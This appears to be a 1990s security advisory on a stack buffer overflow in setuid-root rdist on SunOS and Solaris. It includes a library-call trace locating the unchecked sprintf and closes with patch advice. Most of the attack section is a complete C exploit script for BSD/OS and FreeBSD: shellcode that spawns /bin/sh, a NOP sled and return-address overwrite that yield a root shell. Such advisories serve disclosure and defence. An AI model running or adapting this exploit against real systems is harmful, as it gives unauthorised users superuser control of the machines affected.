COMMAND

    rdist

SYSTEMS AFFECTED

    Solaris 2.*
    SunOS 4.1.*
    Potentially all versions running setuid root.

PROBLEM

    rdist creates an  error message based  on a user  provided string,
    without  checking  bounds  on  the  buffer  used.   This buffer is
    on  the  stack,  and  can  therefore  be used to execute arbitrary
    instructions.

    Local users can obtain superuser privileges.

    A  program  was  developed  to  verify  this  bug on a SunOS 4.1.3
    machine, and  succeeded in  obtaining a  shell running  uid 0 from
    rdist.

	Consider the following command, running as user bin.

	# rdist -d TestString -d TestString
	rdist: line 1: TestString redefined
	distfile: No such file or directory
	#

	Using libC/Inside, the following trace was obtained:-

	-----------------------------------------------------------------------
	libC/Inside Shared Library Tracing.  V1.0 (Solaris 2.5).
	Copyright (C) 1996, Electris Software Limited, All Rights Reserved.

		Tracing started Thu May  9 00:04:19 1996

		Pid is 18738
		Log file is /tmp/Inside.18738
		Log file descriptor is 3

		uid=2(bin) gid=2(bin) euid=0(root) groups=2(bin),3(sys)

		Program is rdist

	_start+0x30->atexit(call_fini)
	return(0)
	_start+0x3c->atexit(_fini)
	return(0)
	main+0x28->getuid()
	return(2)
	main+0x38->seteuid(2)
	return(0)
	main+0x5c->getuid()
	return(2)
	main+0x64->getpwuid(2)
	return((pw_name="bin", pw_passwd="x", pw_uid=2, pw_gid=2, pw_age="", \
	pw_comment="", pw_gecos="", pw_dir="/usr/bin", pw_shell=""))
	main+0xb0->strcpy(user, "bin")
	return("bin")
	main+0xc4->strcpy(homedir, "/usr/bin")
	return("/usr/bin")
	main+0xd4->gethostname(host, 32)
	return(0)
	(Arg 0 = "legless")
	main+0x10c->strcmp("-d", "-Server")
	return(17)
	define+0x30->strchr("TestString", '=')
	return((null))
	lookup+0x11c->malloc(16)
	return(0x33220)
	main+0x10c->strcmp("-d", "-Server")
	return(17)
	define+0x30->strchr("TestString", '=')
	return((null))
	lookup+0x88->strcmp("TestString", "TestString")
	return(0)
	lookup+0xcc->sprintf(0xeffff8a8, "%s redefined", "TestString")
	return(20)
		(Arg 0 = "TestString redefined")
	yyerror+0x1c->fflush(stdout)
	return(0)
	lookup+0xd4->fprintf(stderr, "rdist: line %d: %s\n", 1, \
		 "TestString redefined")
	return(36)
	main+0x444->mktemp("/tmp/rdistXXXXXX")
	return("/tmp/rdista004_m")
	main+0x4d8->fopen("distfile", "r")
	return((null))
	main+0x4fc->fopen("Distfile", "r")
	return((null))
	main+0x560->perror("distfile")
	return()
	main+0x568->exit(1)
	-----------------------------------------------------------------------

    At lookup+0xcc, sprintf() copies the string provided to an address
    on the stack.   rdist does not  check the length  of this  string,
    so a large string would overwrite the stack.

    Here is  a quick  bsd/os (should  work in  freebsd too, I believe)
    exploitation script for the rdist buffer overflow vulnerbility.

----------------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET          50
#define BUFFER_SIZE             256

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

main(int argc, char **argv)
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

/* so you dont have to disassemble it, here is the asm code:
start:
jmp     endofk0dez
realstart:
popl    %esi
leal    (%esi), %ebx
movl    %ebx, 0x0b(%esi)
xorl    %edx, %edx
movl    %edx, 7(%esi)
movl    %edx, 0x0f(%esi)
movl    %edx, 0x14(%esi)
movb    %edx, 0x19(%esi)
xorl    %eax, %eax
movb    $59, %al
leal    0x0b(%esi), %ecx
movl    %ecx, %edx
pushl   %edx
pushl   %ecx
pushl   %ebx
pushl   %eax
jmp     bewm
endofk0dez:
call    realstart
.byte   '/', 'b', 'i', 'n', '/', 's', 'h'
.byte   1, 1, 1, 1
.byte   2, 2, 2, 2
.byte   3, 3, 3, 3
bewm:
.byte   0x9a, 4, 4, 4, 4, 7, 4
*/

   char execshell[] =
   "\xeb\x23"
   "\x5e"
   "\x8d\x1e"
   "\x89\x5e\x0b"
   "\x31\xd2"
   "\x89\x56\x07"
   "\x89\x56\x0f"
   "\x89\x56\x14"
   "\x88\x56\x19"
   "\x31\xc0"
   "\xb0\x3b"
   "\x8d\x4e\x0b"
   "\x89\xca"
   "\x52"
   "\x51"
   "\x53"
   "\x50"
   "\xeb\x18"
   "\xe8\xd8\xff\xff\xff"
   "/bin/sh"
   "\x01\x01\x01\x01"
   "\x02\x02\x02\x02"
   "\x03\x03\x03\x03"
   "\x9a\x04\x04\x04\x04\x07\x04";

   int i;
   int ofs = DEFAULT_OFFSET;

   /* if we have a argument, use it as offset, else use default */
   if(argc == 2)
      ofs = atoi(argv[1]);
   /* print the offset in use */
   printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs);

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   /* fill start of buffer with nops */
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   /* stick asm code into the buffer */
   for(i=0;i<strlen(execshell);i++)
      *(ptr++) = execshell[i];
   /* write the return addresses
   **
   ** return address                            4
   ** ebp                                       4
   ** register unsigned n                       0
   ** register char *cp                         0
   ** register struct syment *s                 0
   **
   ** total: 8
   */
   addr_ptr = (long *)ptr;
   for(i=0;i<(8/4);i++)
      *(addr_ptr++) = get_esp() + ofs;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   execl("/usr/bin/rdist", "rdist", "-d", buff, "-d", buff, NULL);
}
---------------------------------------------------------------------------

SOLUTION

    Use  a  version  of  rdist  that  does  not  require  setuid  root
    privileges.

    Obtain a patch from your vendor.